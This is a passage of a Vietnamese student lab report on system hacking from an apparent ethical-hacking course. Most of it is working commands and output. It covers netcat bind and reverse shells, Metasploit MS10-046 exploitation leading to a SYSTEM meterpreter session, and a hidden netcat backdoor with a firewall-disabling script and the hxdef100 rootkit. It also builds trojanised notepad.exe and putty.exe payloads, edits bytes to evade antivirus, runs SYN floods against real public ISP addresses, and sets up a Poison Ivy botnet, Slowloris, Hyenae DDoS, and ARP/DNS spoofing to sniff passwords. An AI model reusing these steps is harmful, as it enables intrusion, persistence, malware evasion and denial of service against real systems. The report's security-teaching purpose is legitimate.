o Victim: C:\netcat>nc.exe -lvp 4444 -e cmd.exe

-e: thuc thi chuong trinh cmd.exe khi co ket noi di vao

o Attacker thực hiện câu lệnh bên dưới kết nối đến PC 172.16.30.42 và có được màn hình cmd.exe trên máy window E:\netcat>nc.exe -v -n 172.16.30.42 4444

Sử dụng netcat làm reverse backdoor

o Attacker: ta chỉ cần cấu hình netcat listen ở 1 port nào đóE:\netcat>nc.exe -lvp 5555

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 15

o Victim: chủ động kết nối đến IP của máy attacker ở port 5555 C:\netcat>nc.exe -v 172.16.30.39 5555 -e cmd.exe

3.4 System HackingMô hình như sau :

Mục đích bài lab: ta sẽ thử thực hiện tấn công vào 1 máy Window XP (victim), sau đó thực hiện upload Netcat Backdoor để điều khiển victim, tiếp tục ta sửdụng công cụ Rootkit để ẩn đi process của netcat

Máy attacker sử dụng chương trình Metasploit đã được cài đặt sẵn.

3.4.1 Chuẩn bị MetasploitDùng lỗi shortcut Ms10-046 để khai thác lỗi, ta sẽ thực hiện như sau:

root@bt:/pentest/exploits/framework3# msfconsole

msf >use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

msf >set payload windows/meterpreter/reverse_tcp

msf exploit(ms10_046_shortcut_icon_dllloader) >set LHOST 192.168.1.10 LHOST => 192.168.1.10

msf exploit(ms10_046_shortcut_icon_dllloader) >set SRVHOST 192.168.1.10

msf exploit(ms10_046_shortcut_icon_dllloader) >exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.10:4444

[*] Send vulnerable clients to \\192.168.1.10\EPzSUxdEj\.

[*] Or, get clients to save and render the icon of http://<your

host>/<anything>.lnk

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 16

[*] Using URL: http://192.168.1.10:80/

[*] Server started.

Để client connect vào server 192.168.1.0. Ta sẽ sử dụng DNS spoofing

3.4.2 Cấu hình Ettercap DNS SpoofingTa cấu hình file etter.dns (/usr/share/ettercap/etter.dns) với IP của trang

www.google.com là IP của attacker 192.168.1.10 bằng cách thêm vào 2 dòng sau

www.google.com A 192.168.1.10

www.google.com PTR 192.168.1.10

Thực hiện quá trình dns spoofing : Ettercap -T -q –M arp:remote –P dns_spoof –i eth0 /192.168.1.11/ //

Tại máy client nhập vào trang web www.google.com và hiện ra màn hình giống như bên dưới

3.4.3 Kiểm tra metasploitMetasploit trả ra cho ta các dòng log như bên dưới

msf exploit(ms10_046_shortcut_icon_dllloader) > [*] Sending UNC redirect to 192.168.1.11:1655 ...

[*] Sending UNC redirect to 192.168.1.11:1655 ...

[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1660

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 17

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj

[*] Sending 301 for /EPzSUxdEj ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/

[*] Sending directory multistatus for /EPzSUxdEj/ ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj

[*] Sending 301 for /EPzSUxdEj ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/

[*] Sending directory multistatus for /EPzSUxdEj/ ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj

[*] Sending 301 for /EPzSUxdEj ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/

[*] Sending directory multistatus for /EPzSUxdEj/ ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1661 /EPzSUxdEj

[*] Sending 301 for /EPzSUxdEj ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1661 /EPzSUxdEj/

[*] Sending directory multistatus for /EPzSUxdEj/ ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj

[*] Sending 301 for /EPzSUxdEj ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj/

[*] Sending directory multistatus for /EPzSUxdEj/ ...

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 18

[*] Received WebDAV PROPFIND request from 192.168.1.11:1663

/EPzSUxdEj/desktop.ini

[*] Sending 404 for /EPzSUxdEj/desktop.ini ...

[*] Sending LNK file to 192.168.1.11:1663 ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1663

/EPzSUxdEj/vncuNN.dll.manifest

[*] Sending 404 for /EPzSUxdEj/vncuNN.dll.manifest ...

[*] Sending DLL payload 192.168.1.11:1663 ...

[*] Received WebDAV PROPFIND request from 192.168.1.11:1663

/EPzSUxdEj/vncuNN.dll.123.Manifest

[*] Sending 404 for /EPzSUxdEj/vncuNN.dll.123.Manifest ...

[*] Sending stage (752128 bytes) to 192.168.1.11

[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.11:1664) at

2011-07-20 10:22:16 +0700

msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -l

Active sessions

===============

Id Type Information Connection

-- ---- ----------- -----1 meterpreter x86/win32 NHANLD-XP\nhanld@ NHANLD-XP 192.168.1.10:4444 -> 192.168.1.11:1664

msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -i 1

[*] Starting interaction with 1...

Kiểm tra một số thông tin của máy victim và nâng quyền

meterpreter >getuid

Server username: NHANLD-XP\nhanld

meterpreter >getprivs

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 19

======================================================

Enabled Process Privileges

======================================================

SeDebugPrivilege

SeIncreaseQuotaPrivilege

SeSecurityPrivilege

SeTakeOwnershipPrivilege

SeLoadDriverPrivilege

SeSystemProfilePrivilege

SeSystemtimePrivilege

SeProfileSingleProcessPrivilege

SeIncreaseBasePriorityPrivilege

SeCreatePagefilePrivilege

SeBackupPrivilege

SeRestorePrivilege

SeShutdownPrivilege

SeSystemEnvironmentPrivilege

SeChangeNotifyPrivilege

SeRemoteShutdownPrivilege

SeUndockPrivilege

SeManageVolumePrivilege

meterpreter >getsystem

...got system (via technique 1).

meterpreter >getuid

Server username: NT AUTHORITY\SYSTEM

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 20

3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkitTa chuẩn bi sẵn file nc.exe để upload. File này trong BT5 nằm tại vị trí

/pentest/windows-binaries/tools

meterpreter >pwd

C:\DOCUME~1\nhanld\LOCALS~1\Temp

meterpreter >cd C:\\WINDOWS\\Help

meterpreter >mkdir netcat

Creating directory: netcat

meterpreter > cd netcat

meterpreter >pwd

C:\WINDOWS\Help\netcat

meterpreter >upload /pentest/windows-binaries/tools/nc.exe .

[*] uploading : /pentest/windows-binaries/tools/nc.exe -> .

[*] uploaded : /pentest/windows-binaries/tools/nc.exe -> .\nc.exe

Ta sẽ tạo ra một file nc_scripts.bat có nội dung đơn giản như sau

@echo off

netsh firewall set opmode disable

nc.exe -l -v -p 4444 -e cmd.exe

Tạo ra một file nc_scripts.vbs có nội dung như sau

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run chr(34) & "C:\WINDOWS\Help\netcat\nc_scripts.bat" &

Chr(34), 0

Set WshShell = Nothing

Upload 2 file này vào máy victim

meterpreter >upload /root/Desktop/nc_scripts.bat .

[*] uploading : /root/Desktop/nc_scripts.bat -> .

[*] uploaded : /root/Desktop/nc_scripts.bat -> .\nc_scripts.bat

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 21

meterpreter >upload /root/Desktop/nc_scripts.vbs .

[*] uploading : /root/Desktop/nc_scripts.vbs -> .

[*] uploaded : /root/Desktop/nc_scripts.vbs -> .\nc_scripts.vbs

Ta sẽ sử dụng metasploit upload 2 file này folder vào C:\WINDOWS\Help

Upload rootkit hxdef100: bao gồm một file cấu hình và một file thực thi

o file cấu hình để ẩn process của chương trình nc.exe và file thực thi của chương trình

meterpreter >upload /root/Desktop/hxdef100.ini .

[*] uploading : /root/Desktop/hxdef100.ini -> .

[*] uploaded : /root/Desktop/hxdef100.ini -> .\hxdef100.ini

meterpreter >upload /root/Desktop/hxdef100.exe .

[*] uploading : /root/Desktop/hxdef100.exe -> .

[*] uploaded : /root/Desktop/hxdef100.exe -> .\hxdef100.exe

Start netcat backdoor thông qua nc_scripts.vbs ( start 2 chương trình là nc.exe và cmd.exe ) và rootkit

meterpreter >shell

Process 2868 created.

Channel 28 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\Help\netcat>start nc_scripts.vbs

start nc_scripts.vbs

Kiểm tra port và các tiến trình đang hoạt động trong máy bằng lệnh netstat –ano và tasklist thì ta thấy port và dịch vụ bất thường

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 22

Khởi động rootkit để ẩn process nc.exe và ẩn file thực thi của chương trình netcat

C:\WINDOWS\Help\netcat>start hxdef100.exe

start hxdef100.exe

Ta kiểm tra lại process thì thấy tiến trình nc.exe đã được ẩn đi.

Attacker sử dụng chương trình telnet hoặc chương trình netcat để connect điều khiển máy attacker

root@bt:/opt/framework3/msf3# telnet 192.168.1.11 4444

Trying 192.168.1.11...

Connected to 192.168.1.11.

Escape character is '^]'.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 23

C:\WINDOWS\Help\netcat>

C:\WINDOWS\Help\netcat>

3.4.5 Tạo ra backdoor và upload bằng metasploitTa chuẩn bị một file để ghép backdoor vào. Ví dụ ta sử dụng chương trình

notepad.exe

Sử dụng câu lệnh sau để tạo ra backdoor

root@bt:/opt/framework3/msf3# ./msfpayload

windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe –x /root/Desktop/NOTEPAD.EXE -o /root/Desktop/backdoor_notepad.exe

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

Trong metepreter ta có thể sử dụng câu lệnh run scheduleme để upload backdoor và cho backdoor startup với hệ thống.

meterpreter >run scheduleme –h

o Để hiển thị các giúp đỡ của câu lệnh

meterpreter >run scheduleme -e /root/Desktop/backdoor_notepad.exe -s

[*] Uploading /root/Desktop/backdoor_notepad.exe....

[*] /root/Desktop/backdoor_notepad.exe uploaded!

[*] Scheduling command C:\DOCUME~1\nhanld\LOCALS~1\Temp\svhost72.exe

to run startup.....

[*] The scheduled task has been successfully created

[*] For cleanup run schtasks /delete /tn syscheck15 /F

Lúc này backdoor notepad đã được kích hoạt, ta tiếp tục sử dụng tính năng multi/handler để chờ đợi kết nối của victim

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 24

msf exploit(ms10_046_shortcut_icon_dllloader) >use exploit/multi/handler

msf exploit(handler) >set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) >set LHOST 192.168.1.10

msf exploit(handler) >set LPORT 4455

LPORT => 4455

msf exploit(handler) >exploit -j

[*] Exploit running as background job.

Restart lại máy victim, lúc này kết nối mà ta đã sử dụng thông qua lỗi ms10-046 đã bị mất. Sau đó victim tự động tạo ra reverser connection đến máy victim.

msf exploit(handler) >

[*] Sending stage (752128 bytes) to 192.168.1.11

[*] Meterpreter session 3 opened (192.168.1.10:4455 -> 192.168.1.11:1025) at 2011-07-20 12:08:20 +0700

Nếu như ta kiểm tra dịch vụ và các kết nối của máy client thì ta sẽ thấy điều bất thường ở đây là một dịch vụ lạ xuất hiện

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 25

Chương 4: Virus Worm Trojan

4.1 By Pass Anti Virus Hầu hết các chương trình chống virus đều nhận dạng file là chương trình độc hại

dựa trên signature database được update thường xuyên

Các công cụ cần thiết cho bài lab. Các công cụ này ta cài đặt trong 1 máy tính

o Dsplit: được sử dụng để cắt các file thành nhiều phần với độ dài tăng dần.

o Hex Editor: để sử dụng phân tích chương trình và thay đổi các giá trịtrong file

o Chương trình scan virus để kiểm tra. Trong bài lab này ta sẽ sử dụng chương trình Avast

o 1 File được các chương AV cảnh báo. Trong bài lab ta sẽ sử dụng chương trình “Ice Gold Freezer”

o Các công cụ scan virus online ví dụ như trang web www.virustotal.com

Các bước thực hiện :

Ta thử scan file “Ice Gold Freezer” bằng trang web www.virustotal.com thì 24/43 chương trình nhận dạng đây là Malware

Copy source “Ice Gold Freezer” vào folder chứa source chương trình Dsplit ta thực hiện quá trình cắt file thành các đoạn và sử dụng Avast scan các file này. Thông qua quá trình này ta sẽ ước lượng được signature nhận virus sẽnằm ở phần nào trong file.

Ta sử dụng Avast scan tất cả các file đã được cắt ra và xác định file nào bắt đầu từ byte nào thì file bị nhận là Virus

Theo kết quả màn hình ở trên thì từ byte thứ 102000 thì chương trình được nhận là virus. Ta xóa hết các file đã được cắt nhỏ.

Tiếp tục ta sẽ kiểm tra xem từ byte 101000 đến 102000 thì như thế nào ? Ta sử dụng khoảng tăng là 100 byte.

Ta scan các file vừa được tạo ra bằng Avast một lần nữa

Kết quả thu được là từ file 101900 đến 102000 được nhận là virus.

Ta tiếp tục phân đoạn từ 101800 đến 101900 với khoảng tăng 10 byte và scan lại.

Kết quả thu được là từ file 101820 sẽ được nhận là virus.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 26

Ta sẽ tiếp tục phân tích từ file 101810 đến 101820 với khoảng tăng là 1 byte như thế nào ?

Đến đây thì ta đã xác định được byte 101819 được xác định là có virus

Ta sẽ thay đổi giá trị 101819 thành một giá trị khác. Ở đây ta sẽ đánh thêm vào 2 lần phím spacebar. Ta sẽ thấy xuất hiện thêm 2 giá trị hexa là 20 20 trên màn hình.

Sau đó ta thử upload chương trình lên virustotal và kiểm tra kết quả scan ta được tỷ lệ 7/42 AV nhận đây là virus

4.2 Tạo Trojan bằng MetasploitMục đích bài lab: sử dụng công cụ msfpayload và msfencode có trong Metasploit

để tạo ra file Trojan. Ta chuẩn bị file thực thi exe nào đó. Ví dụ như ở đây ta sử dụng chương trình putty.exe

Sử dụng msfpayload để tạo backdoor. Sau đó ta sử dụng msfencode để by pass anti virus

Sơ đồ :

Các bước thực hiện:

Đầu tiên ta copy file putty.exe vào trong máy backtrack 5. Ta thực hiện câu lệnh bên dưới với giá trị LHOST là IP của attacker, LPORT là port mà máy attacker sử dụng để quản lý kết nối. “ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.234 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /root/Desktop/putty.exe -o /root/Desktop/putty_backdoor.exe “

Sau khi tạo xong backdoor bước kế tiếp là làm sao gửi file backdoor này đến victim. Khởi động dịch vụ apache 2 và kiểm tra download file

Sau khi ta đã chuẩn bị xong mọi thứ ta sử dụng tính năng “exploit/multi/handler” để quản lý các kết nối từ máy victim đến máy attacker.

msf >use exploit/multi/handler

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 27

msf exploit(handler) >set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) >set LHOST 192.168.1.234

msf exploit(handler) >set LPORT 4455

LPORT => 4455

msf exploit(handler) >exploit –j

Victim thực thi file putty_backdoor.exe thì tại máy attacker sẽ có được 1 kết nối điều khiển. Tiếp tục ta nhập vào câu lệnh “run post/windows/escalate/bypassuac” thì metasploit sẽ tạo ra 1 sessions mới.

Ta kết nối vào sessions số 5 bằng cách nhập vào câu lệnh “background” và “sessions –l” và “sessions –i 5” .Thông qua kết nối mới ta nhập vào các câu lệnh getprivs, getsystem, getuid đểta có quyền system với máy victim.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 28

Chương 5 : DoS DdoS

5.1 Ping of Dealth AttackSơ đồ:

Trong hệ điều hành Window để ta có thể sử dụng lệnh “ping IP -t -l 5000” để ping một destination một cách liên tục

Nếu như bạn muốn mở cùng một lúc 20 cửa sổ Window ping thì ta có thể kết hợp với câu lệnh For như sau “ For /L %i in (1,1,20) do start ping 192.168.1.254 -t -l 36000 ” như vậy chương trình sẽ mở ra cùng một lúc 20 cửa sổ window ping liên tục đến IP 192.168.1.254

5.2 Syn Flood AttackSơ đồ :

Các bước thực hiện :

Ta sẽ thử thực hiện SYN Flood Attack vào router ADSL. Đầu tiên ta xác định xem hiện tại đang có bao nhiêu router ADSL đang mở port 80 bằng công cụ Nmap

Giả sử IP Public hiện thời của mình đang là 118.68.226.103, ta sử dụng câu lệnh “nmap –sS –p 80 118.68.226.1/24 ” để scan . Ta thực hiện scan và xuất ra file là scan_adsl.txt

Kiểm tra nội dung file scan_adsl.txt và chọn ra một IP để ta làm lab tiếp tục

- Ví dụ trong 1 đoạn file scan_adsl.txt có nội dung như bên dưới nghĩa là IP 118.68.226.7 đang mở port 80

Nmap scan report for adsl-dynamic-pool-xxx.hcm.fpt.vn (118.68.226.7)

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 29

Host is up (0.037s latency).

PORT STATE SERVICE

80/tcp open http

Ta vào trình duyệt web để kiểm tra IP trang web của IP này và thử nhập vào username: admin và password admin mặc định

Ta sẽ thực hiện syn flood attack vào port 80 trên router ADSL này bằng công cụ syn-floodalpha1.tar.gz. Ta thực hiện quá trình cài đặt giống như bên dưới.

root@bt:~/Desktop# ls

scan_adsl.txt syn-flood-alpha1.tar.gz

root@bt:~/Desktop# tar -xvf syn-flood-alpha1.tar.gz

syn-flood/

syn-flood/Makefile

syn-flood/gpl.txt

syn-flood/syn-flood.cpp

root@bt:~/Desktop# cd syn-flood

root@bt:~/Desktop/syn-flood# ls

gpl.txt Makefile syn-flood.cpp

root@bt:~/Desktop/syn-flood# make

g++ -O2 -g -Wall -fmessage-length=0 -c -o syn-flood.o syn-flood.cpp

g++ -o syn-flood syn-flood.o

Thực hiện quá trình tấn công bằng câu lệnh bên dưới để gửi ra 100000 gói tin syn

root@bt:~/Desktop/syn-flood# ./syn-flood

Usage: ./syn-flood --ip IP --port PORT [verbose]

-h --help Display this usage information.

-i --ip Destination IP address.

-p --port Destination port.

-n --num Number of packets to send.

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 30

-v --verbose Print verbose messages.

root@bt:~/Desktop/syn-flood# ./syn-flood -i 118.68.226.7 -p 80 -n 1000000

Sent 1000000 packets.

Ta sử dụng chương trình Wireshark để phân tích quá trình hoạt động của công cụ này thì thấy chương trình đã gửi ra 100000 gói tin TCP SYN đến victim và router adsl với IP 118.68.226.7 với các source IP là các IP giả khác nhau.

5.3 Sử Dụng Hping3 thực hiện Syn Flood AttackSơ đồ :

Máy victim có IP là 192.168.1.101/24 ( Window XP ) và máy attacker có IP là 192.168.1.100/24 ( Back Track 5 )

Các bước thực hiện:

Đầu tiên ta thực hiện quá trình scan các port đang open của Victim bằng công cụ Nmap

root@bt:~# nmap -sS 192.168.1.101

PORT STATE SERVICE

139/tcp open netbios-ssn

Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân

445/tcp open microsoft-ds

MAC Address: 00:0C:29:9F:87:19 (VMware)

Ta sử dụng hping3 SYN Flood vào port đang mở là 445

root@bt:~#man hping3

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 31

=> Kiểm tra các thông số của hping3

root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100

=> thực hiện SYN FLOOD vào victim có IP là 192.168.1.101

-a giả dạng IP 192.168.1.254

-p ở port 445

-S thực hiện Syn Flood attack

-i --interval wait (uX for X microseconds, for example -i u1000)

--fast alias for -i u10000 (10 packets for second)

--faster alias for -i u1000 (100 packets for second)

--flood sent packets as fast as possible. Don't show replies.

root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100 –c 100000

-c nghĩa là count, ta sẽ gửi 100000 đến victim

Tại máy Victim nếu như bị SYN Flood ta kiểm tra trạng thái kết nối bằng lệnh “netstat -ano” thì thấy xuất hiện rất nhiều kết nối SYN

5.4 PHP DoS Ta sẽ thực hiện upload source PHP DoS lên một Web Server, và sử dụng server

này để tấn công một server khác.

Đầu tiên ta thực hiện việc upload source vào chương trình PHP DoS vào Web Server

Restart lại dịch vụ apache

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 32

Ta sử dụng trình duyệt web kết vào trang PHP DoS và thực hiện tấn công vào victim nào đó

Sau khi attack xong thì chương trình sẽ thống kê lại cho ta số lượng gói tin. –

Sử dụng wireshark để capture lại traffic thì ta sẽ có được hình như bên dưới.

5.5 Apache DoS SlowlorisSlowrist ảnh hưởng đến Web Server Apache 1.x, Apache 2.x, dhttpd, GoAhead

WebServer.. còn các web server của Window IIS 6.0, IIS 7.0 thì không ảnh hưởng bởi công cụ này .

Download source code chương trình tại trang http://ha.ckers.org/slowloris/slowloris.pl và tạo thành file có tên là slowloris.pl

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 33

Gán cho chương trình có quyền thực thi

Kiểm tra xem chương trình slowloris để ước đoán giá trị timeout .

Thực hiện DoS vào một victim bằng câu lệnh “perl ./slowloris.pl -dns www.abc.com -timeout 2000 -num 500 -tcpto 5”, ta nên xem thêm trong phần help của chương trình để biết thêm ý nghĩa của các biến

5.6 Sử Dụng Poison Ivy tạo BotnetĐầu tiên ta cần phải tạo ra một file Remote Access Trojan và gửi file này đến

victim. Sau khi install, máy victim trở thành zombie bị điều khiển bởi attacker.

Các bước thực hiện :

Decompress chương trình và thực thi file “Poison Ivy”

Click “I Agree”, Sau đó chọn mục “New Server”

Tiếp tục ta chọn tạo ra một New Profile

Ta nhập vào các thông số:

o IP của máy đóng vai trò là server để zombie connect về và port tương ứng. Mặc định chương trình dùng port 3460. Mặt khác ta có thể tạo ra nhiều profile khác nhau, mỗi profile tương ứng với 1 port trên máy attacker

o Nhập vào mục ID: ví dụ là server_testo Password để đăng nhập có thể sử là password dạng static hoặc là sử dụng

“dynamic key”o Tiếp tục click Next ở góc phải màn hình

Tiếp tục chương trình sẽ chuyển qua mục “Install”. Ta nhập vào các thông số sau

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 34

o HKLM/Run Name:o ActiveX Key Nameo Copy File: ta nhập vào với tên có dạng là .exe hoặc là dạng .scro Ta có thể chọn dạng Copy to Alternate Data Stream để ẩn file

Click Next chương trình chuyển ở phần Advance. Ta có thể chọn các tính năng Key logger, Format dạng PE…

Click Next chương trình chuyển qua mục “Build”, ta có thể chuyển icon của file zombie, Click Generate , xác định vị trí lưu trữ, tên file zombie…

Ở vị trí máy attacker, ta sử dụng tính năng New Client để quản lý các kết nối từ các zombie, chọn vào tên Profile mà attacker đã tạo.

Chương trình yêu cầu ta phải nhập vào PASSWORD hoặc là ta phải LOAD KEY tùy thuộc vào phương thức password cấu hình ở trên

Tiếp tục ta thực hiện công việc phát tán file zombie dos_server.exe

Sau khi client kích hoạt file dos_server.exe, ta kiểm tra các kết nối ta thấy xuất hiện một kết nối

Ta Double-click vào dòng biểu thị cho client, để hiển thị đầy đủ các tác vụ mà attacker có thểlàm đối với zombie ( tùy thuộc vào cấu hình ban đầu )

5.7 Dos và DdoS bằng công cụ HyenaeDownload chương trình tại http://sourceforge.net/projects/hyenae/files/

Chương trình này cho phép ta thực hiện tấn công DoS và DdoS. Để thực hiện DdoS ta cần phải install Hyenae daemon trên 1 máy, sau đó sử dụng Hyenae Front End ( giao diện ) hoặc Hyenae ( dòng lệnh để điều khiển )

Trong bài lab này ta sẽ install Hyenae daemon trên máy Window server 2003 (192.168.1.100/24) và sử dụng Window XP (192.168.1.101/24) làm client điều khiển.

Đầu tiên ta cấu hình hyenaed kiểm tra các card trong máy tínhC:\>hyenaed.exe -l

o Để kiểm tra các card mạng được nhận trong chương trìnho Giả sử chương trình nhận card Intel Pro/1000 MT được nhận là số 1

Cấu hình hyenaed.exe lắng nghe trên máy tính server 2003 C:\>hyenaed.exe -I 1 -a 192.168.1.100 –p 8888 –u 10000 –k 123abc!!!

-I: card kết nối vào

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 35

-a: bind với IP của máy hoạt động chương trình hyenaed

-p: port

-u: số lượng packet gửi cho mỗi lần kết nối

Sử dụng hyenae.exe dạng front end để kết nối. Tuy nhiên chương trình sẽ bị lỗi. Ta sử dụng câu lệnh bên dưới và thực thi ở giao diện dòng lệnh

Chú ý: thêm vào dấu “+” kết nối giữa 192.168.1.15@8888+123abc!!!

Chương 6 : Sniffer

6.1 Cain Abel ARP Poisoning PC A:boot vào Windows 2003 Server, cài đặt dịch vụ ftpserver

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 36

PC B:boot vào Windows 2003 Server hoặ c Windows XP

PC C:boot vào Windows 2003 Server

Sơ đồ :

PC B đăng nhậ p và o PC A (PC A đó ng vai tro ̈ là FTPServer) bằng mật khẩu

PC C dùng công cụ Cain & Abel thực hiện tấn công MITM nhằm đánh cắp mật khẩu truy cậ p củ a PC B và o PC A

Các bước thực hiện

o Bước 1: Cài đặt Cain& Abel. Trong quá trình cài đặt đồng thời cài đặt Winpcap đi kèm theo. Chương trình Winpcap được sử dụng để chuyển card mạng sang promicious mode

o Bước 2: Từ menu chọn Configure/Sniffer chọn card mạng đang sử dụng nhấn OK

o Bước 3: Nhấn nút Start Sniffer. Chuyển sang tab Sniffer/Host click chuột phải chọn Scan MAC Address xác định tất cả các máy trong cùng subnet

o Bước 4: Chuyển sang tab Sniffer/APR nhấn nút Add to list biểu tươ ªng hình dấu cộng màu xanh. Ở ô bên trái chọn máy A, ô bên phải chọn máy B Click vào Start APR

o Bước 5: Chuyển sang tab Sniffer/Passwords theo dõi password ftpo Bước 6: Tại PC B đóng vai trò là victim, thực hiện ftp vào máy A, thì ở màn

hình máy PC C ( attacker ) ta sẽ sniffer được thông số login của PC A

6.2 Ettercap DNS SpoofingTại máy Backtrack 5 thực hiện ARP Poisoning kết hợp với DNS spoofing. Khi

máy victim nhập vào thông số www.athena.edu.vn thì sẽ hiện ra trang web giả.

Sơ đồ

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 37

Các bước thực hiện :

o Bước 1: Cấu hình Web Server trên hệ điều hành Back Track 5. Đầu tiên ta sẽstart dịch vụ apache2Ta vào trình duyệt web http://localhost để kiểm tra xem trang web đã dịch vụ đã được start

o Bước 2: Ta cấu hình một trang web có nội dung đơn giản như sau

<html>

<head>

<title>Athena Lab</title>

<head>

<body>

<p align=”center”><b><i>ATHENA DNS SPOOFING LAB</b></i>

<br><br><a

href="http://s675.photobucket.com/albums/vv112/nhanld/?action=view&

amp;current=Athena-ANS.jpg" target="_blank"><img

src="http://i675.photobucket.com/albums/vv112/nhanld/Athena-ANS.jpg"

border="0" alt="Photobucket"></a>

</body>

</html>

o Bước 3: Restart lại service apache2o Bước 4: Kiểm tra nội dung trang web http:/localhost/index.html o Bước 5: Tấn công bằng công cụ ettercap và dns_spoof plugin. Ta thêm một

số dòng vào trong file /usr/share/ettercap/etter.dns để thay đổi thông số dns của client

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 38

*.athena.edu.vn A 192.168.1.3

www.athena.edu.vn A 192.168.1.3

tailieu.athena.edu.vn A 192.168.1.3

*.athena.edu.vn PTR 192.168.1.3

www.athena.edu.vn PTR 192.168.1.3

tailieu.athena.edu.vn PTR 192.168.1.3

Tại máy client thử login vào trang www.athena.edu.vn trước khi ta thực hiện tấn công ta thấy trang web trả ra bình thường. Sau đó ta nên sử dụng ipconfig /flushdns để xóa thông tin dns.

o Bước 6: Tại máy attacker ta thực hiện tấn công bằng câu lệnh “Ettercap -T -q –M arp:remote –P dns_spoof –i eth0 /192.168.1.11/ // “Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân

o Bước 7: Tại máy client ta browser vào lại trang web www.athena.edu.vn thì vào trang web giả do attack dựng lên

6.3 Ettercap Sniffer PasswordSử dụng công cụ Ettercap thực hiện ARP Poisoning, fake certificate để sniffer

password. Sử dụng các plugin để theo dõi victim đang duyệt web ở trang nào.

Sơ đồ :

Các bước thực hiện :

o Bước 1: cấu hình ettercap ở file “ etter.conf “. Ta xác định vị trí file etter.conf như sau

GVHD : Võ Đỗ ThắngSinh viên thực hiện: Lê Văn Bình

Đề Tài : SysTem Hacking 39

Sử dụng vi hoặc gedit để mở file etter.conf. Thay đổi giá trị ở dòng 17 và 18

Thay đổi giá trị ở dòng 145

Thay đổi giá trị ở dòng 170 và 171

